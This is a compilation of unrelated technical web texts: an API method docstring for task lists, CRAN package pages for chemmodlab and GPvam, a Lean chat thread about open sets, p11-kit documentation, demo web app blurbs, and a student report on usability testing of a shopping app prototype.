tasklist: string, Task list identifier. (required)
pageToken: string, Token specifying the result page to return. Optional.
updatedMin: string, Lower bound for a task's last modification time (as a RFC 3339 timestamp) to filter by. Optional. The default is not to filter by last modification time.
maxResults: integer, Maximum number of task lists returned on one page. Optional. The default is 100.
completedMin: string, Lower bound for a task's completion date (as a RFC 3339 timestamp) to filter by. Optional. The default is not to filter by completion date.
showDeleted: boolean, Flag indicating whether deleted tasks are returned in the result. Optional. The default is False.
completedMax: string, Upper bound for a task's completion date (as a RFC 3339 timestamp) to filter by. Optional. The default is not to filter by completion date.
showHidden: boolean, Flag indicating whether hidden tasks are returned in the result. Optional. The default is False.
showCompleted: boolean, Flag indicating whether completed tasks are returned in the result. Optional. The default is True.
dueMin: string, Lower bound for a task's due date (as a RFC 3339 timestamp) to filter by. Optional. The default is not to filter by due date.
- move = method(self, **kwargs)
- Moves the specified task to another position in the task list. This can include putting it as a child task under a new parent and/or move it to a different position among its sibling tasks.
Args:
body: object, The request body. (required)
tasklist: string, Task list identifier. (required)
parent: string, New parent task identifier. If the task is moved to the top level, this parameter is omitted. Optional.
task: string, Task identifier. (required)
previous: string, New previous sibling task identifier. If the task is moved to the first position among its siblings, this parameter is omitted. Optional.
- patch = method(self, **kwargs)
- Updates the specified task. This method supports patch semantics.
Args:
body: object, The request body. (required)
tasklist: string, Task list identifier. (required)
task: string, Task identifier. (required)
- update = method(self, **kwargs)
- Updates the specified task.
Args:
body: object, The request body. (required)
tasklist: string, Task list identifier. (required)
task: string, Task identifier. (required)
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
|


Contains a set of methods for fitting models and methods for validating the resulting models. The statistical methodologies comprise a comprehensive collection of approaches whose validity and utility have been accepted by experts in the Cheminformatics field. As promising new methodologies emerge from the statistical and data-mining communities, they will be incorporated into the laboratory. These methods are aimed at discovering quantitative structure-activity relationships (QSARs). However, the user can directly input their own choices of descriptors and responses, so the capability for comparing models is effectively unlimited.
| Version: | 1.0.0 |
| Depends: | R (≥ 3.1.1) |
| Imports: | class (≥ 7.3.14), e1071 (≥ 1.6.7), elasticnet (≥ 1.1), foreach (≥ 1.4.3), lars (≥ 1.2), MASS (≥ 7.3.45), nnet (≥ 7.3.12), pROC (≥ 1.8), randomForest (≥ 4.6.12), rpart (≥ 4.1.10), tree (≥ 1.0.37), pls (≥ 2.5.0), caret (≥ 6.0-71), stats, graphics, grDevices, utils, datasets, methods |
| Suggests: | knitr, rmarkdown |
| Published: | 2017-04-21 |
| Author: | Jacqueline Hughes-Oliver [aut], Jeremy Ash [aut, cre], Atina Brooks [aut] |
| Maintainer: | Jeremy Ash <jrash at ncsu.edu> |
| BugReports: | https://github.com/jrash/ChemModLab/issues |
| License: | GPL-3 |
| URL: | https://github.com/jrash/ChemModLab |
| NeedsCompilation: | no |
| CRAN checks: | chemmodlab results |
| Reference manual: | chemmodlab.pdf |
| Package source: | chemmodlab_1.0.0.tar.gz |
| Windows binaries: | r-devel: chemmodlab_1.0.0.zip, r-release: chemmodlab_1.0.0.zip, r-oldrel: chemmodlab_1.0.0.zip |
| OS X binaries: | r-release: chemmodlab_1.0.0.tgz, r-oldrel: chemmodlab_1.0.0.tgz |
Please use the canonical form https://CRAN.R-project.org/package=chemmodlab to link to this page.


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/open_set.html ---
@Scott Morrison I'm curious why you reversed the direction of the arrows of open_set
. I would rather put the contravariant-ness in the notion of (pre)sheaf.
Ah, I hadn't seen this, and asked your opinion elsewhere. I'll reverse it again when I get there.
Yes Scott mentioned this before I think. Maybe he said something like he had ops everywhere at all times with no obvious purpose?
I guess the point is that we never use the unopped category
Right, but once we start doing sheaves over sites we will want contravariant (pre)sheaves. And we also want those to specialise to "plain old" (pre)sheaves on open sets. So I vote for keeping the op
.
Another question of course is where you want the op
-- source or target. It's funny this is coming up now. I distinctly remember Scott saying "eew there are op
s everywhere, but I've had a brilliant idea -- if we just redefine the open set category then they all go away and it's much easier to use" and it was one of those moments where I just thought "yeah, it's not ideal but I can completely see his point. It removes all of them at once."
Last updated: Apr 24 2020 at 19:02 UTC


KISSY NoteBook
KISSY module + KISSY mvc => KISSY Application
hash based dispatching
production demo
development demo
html history api (url based dispatching)
note @ html5 history api
nest model and collection tc
model nested with collection


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Wiitteri, "wanhan ajan twiitteri" is all about "what happened yesterday" (or was it day before that ..?). Wiitteri is a social networking service for old school persons. If you know something about modern web design, do not enter.
This is a demo application, illustrating the various features of typical social media web application. To get started, you can try with test accounts uolevi, maija, kaaleppi or justiina. The password is the same as login. Or you can register your own account here. The source code of this project is hosted on GitHub.
Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.
Disclaimer: the creator of this service does not take any respond to any harm (including, but not limited to brain damage) this service might cause for the users.


When an application is aware of the fact that coordination
is necessary between multiple consumers of a PKCS#11 module, and wants
to load standard configured PKCS#11 modules, it can link to
p11-kit
and use the functions there to provide this
functionality.
However most current consumers of PKCS#11 are ignorant of
this problem, and do not link to p11-kit. In order to solve this
multiple initialization problem for all applications,
p11-kit
provides a proxy compatibility
module.
This proxy module acts like a normal PKCS#11 module, but
internally loads a preconfigured set of PKCS#11 modules and
manages their features as described earlier. Each slot in the configured modules
is exposed as a slot of the p11-kit
proxy module. The proxy
module is then used as a normal PKCS#11 module would be. It can be loaded by
crypto libraries like NSS and behaves as expected.
The C_GetFunctionList
exported entry point of the
proxy module returns a new managed PKCS#11 module each time it is called. These
managed instances are released when the proxy module is unloaded.


An EM algorithm, Karl et al. (2013) <doi:10.1016/j.csda.2012.10.004>, is used to estimate the generalized, variable, and complete persistence models, Mariano et al. (2010) <doi:10.3102/1076998609346967>. These are multiple-membership linear mixed models with teachers modeled as "G-side" effects and students modeled with either "G-side" or "R-side" effects.
| Version: | 3.0-5 |
| Depends: | R (≥ 3.2.0), Matrix |
| Imports: | numDeriv, Rcpp (≥ 0.11.2), graphics, grDevices, methods, stats, utils |
| LinkingTo: | Rcpp, RcppArmadillo |
| Published: | 2018-04-18 |
| Author: | Andrew Karl, Yan Yang, and Sharon Lohr |
| Maintainer: | Andrew Karl <akarl at asu.edu> |
| License: | GPL-2 |
| NeedsCompilation: | yes |
| Materials: | NEWS |
| CRAN checks: | GPvam results |
| Reference manual: | GPvam.pdf |
| Package source: | GPvam_3.0-5.tar.gz |
| Windows binaries: | r-devel: GPvam_3.0-5.zip, r-release: GPvam_3.0-5.zip, r-oldrel: GPvam_3.0-5.zip |
| OS X binaries: | r-release: GPvam_3.0-5.tgz, r-oldrel: GPvam_3.0-5.tgz |
| Old sources: | GPvam archive |
Please use the canonical form https://CRAN.R-project.org/package=GPvam to link to this page.


Project 2: Develop a smartphone app
Goal:
Construct a prototype smartphone app that enables users to select and purchase items from a catalogue.
Estimate (hour)
| Name |
Research |
Design |
Implement |
Test |
Total |
| Y J |
4 |
3 |
10 |
2 |
19 |
| Minh |
4 |
3 |
10 |
1.2 |
18.2 |
| Total |
8 |
6 |
20 |
3.2 |
37.2 |
Prototype
Peers Reviews
Should have a Cart Image button instead of a button named "Go to Cart".
Should have back button to go back from Cart to the List of items.
Focus Group
Our focus group really liked the simplicity, look, and usability of the application.
They would like some other features in the application such as price comparison, reviews.
Prices to buy the app are various, some said it should be free because they buy things from the store, other said if there are features to compare prices with other stores, products they would considered spend some money on the application.
Usability Test Script
Performance Questions
| TASK |
Spent Time |
|
Open the application, go to cart, quit the application.
|
|
|
Open the appication, open Meditations book and zoom in, read the description, quit the appication.
|
|
|
Open the application, add "On The Shortness Of Life" to the cart and go to the cart, quit the appication.
|
|
|
Open the application, add "Delivering Happiness" and "Stumbling On Happiness" to the cart, deselect/cancel "Delivering Happiness", quit the application.
|
|
|
Open the application, add one book you like and go the the cart and change its quatity option to 3, quit the application.
|
|
|
Open the application, add two books you like and go the the cart and delete one, quit the application.
|
|
Preference Questions
| Questions |
Answers |
|
On a scale from 1 to 5 with 1 representing bad and 5 representing great, how easy was the Application to use?
|
|
|
On a scale from 1 to 5 with 1 representing bad and 5 representing great, how did you like the “look and feel” of the Application?
|
|
|
What did you think should be added to the Application?
|
|
|
What did you like best about the application?
|
|
Result of Usability Test Script
Performance Questions and Responses
| Task |
Subject 1 |
Subject 2 |
Subject 3 |
|
Open the application, go to cart, quit the application.
|
2 sec |
10 sec |
5 sec |
|
Open the appication, open Meditations book and zoom in, read the description, quit the appication.
|
30 sec |
30 sec |
10 sec |
|
Open the application, add "On The Shortness Of Life" to the cart and go to the cart, quit the appication.
|
10 sec |
10 sec |
15 sec |
|
Open the application, add "Delivering Happiness" and "Stumbling On Happiness" to the cart, deselect/cancel "Delivering Happiness", quit the application.
|
10 sec |
30 sec |
10 sec |
|
Open the application, add one book you like and go the the cart and change its quatity option to 3, quit the application.
|
15 sec |
20 sec |
10 sec |
|
Open the application, add two books you like and go the the cart and delete one, quit the application.
|
10 sec |
20 sec |
10 sec |
Preference questions and Responses
| Questions |
Subject1 |
Subject2 |
Subject3 |
|
On a scale from 1 to 5 with 1 representing bad and 5 representing great, how easy was the Application to use?
|
5 |
5 |
5 |
|
On a scale from 1 to 5 with 1 representing bad and 5 representing great, how did you like the “look and feel” of the Application?
|
5 |
5 |
5 |
|
What did you think should be added to the Application?
|
You may add some lines between books |
None |
Adding reviews for products. Background color can be; for example to pink. |
|
What did you like best about the application?
|
It was easy to Use |
It is so simple and easy to use. Fast |
It's Simplicity. Colors |
Process for downloading the .apk for the application
The apk file can be download via this link:
Shopping App Apk
Actual (hour)
| Name |
Research |
Design |
Implement |
Test |
Total |
| Y J |
4 |
3 |
9 |
2.5 |
18.5 |
| Minh |
4 |
4 |
10 |
1 |
19 |
| Total |
8 |
7 |
19 |
3.5 |
37.5 |
Summary
We realized the most aspects of an application that our users really need is simplicity.
Moreover, being fast to load and function and look are others things that users really pay attention to.
What we learned
We learned a lot about Android Studio and how Android apps operate in general. We have some good time working with Java. Our planning, estimating time is more accurate than the previous project. Listening to users when doing the focus group is really useful, asking questions helps us understand the users better and clearify some features that we intended to put in later.